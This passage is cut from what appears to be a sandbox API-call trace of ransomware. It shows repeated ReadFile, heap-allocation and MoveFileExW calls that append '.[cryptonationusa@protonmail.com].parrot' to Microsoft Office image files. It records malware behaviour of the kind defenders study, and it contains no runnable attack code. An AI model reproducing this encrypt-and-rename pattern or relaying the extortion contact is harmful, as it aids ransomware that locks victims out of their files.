office\\media\\office14\\lines\\bd15073_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.890] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.890] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.891] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.891] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x115, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x115, lpOverlapped=0x0) returned 1 [0166.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.891] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.897] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.897] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.898] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.898] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x143, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x143, lpOverlapped=0x0) returned 1 [0166.898] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.898] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.898] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.898] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.903] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.903] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.905] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.905] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x482, lpOverlapped=0x0) returned 1 [0166.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.905] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.909] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.909] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.911] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.911] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x482, lpOverlapped=0x0) returned 1 [0166.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.911] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.915] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.915] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.918] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.918] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fe, lpOverlapped=0x0) returned 1 [0166.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.919] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.923] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.923] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.924] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.924] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ba, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ba, lpOverlapped=0x0) returned 1 [0166.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.924] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.928] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.928] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.930] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.930] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb04, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb04, lpOverlapped=0x0) returned 1 [0166.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.930] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.934] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.934] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.936] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.936] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x616, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x616, lpOverlapped=0x0) returned 1 [0166.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.936] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.940] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.940] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.941] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.942] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x328, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x328, lpOverlapped=0x0) returned 1 [0166.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.942] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.947] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.948] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.949] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.949] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd1d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd1d, lpOverlapped=0x0) returned 1 [0166.949] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.949] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.949] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.949] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.953] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.953] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.955] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.955] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x901, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x901, lpOverlapped=0x0) returned 1 [0166.955] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.955] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.955] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.955] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.960] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.960] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.962] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.962] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a15, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a15, lpOverlapped=0x0) returned 1 [0166.962] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.962] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.967] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.967] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.968] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.968] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x148, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x148, lpOverlapped=0x0) returned 1 [0166.968] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.968] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.968] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.968] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.013] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.013] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.014] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.014] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11e, lpOverlapped=0x0) returned 1 [0167.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.015] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.015] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.015] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.027] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.028] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0167.028] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.028] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x193, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x193, lpOverlapped=0x0) returned 1 [0167.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.029] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 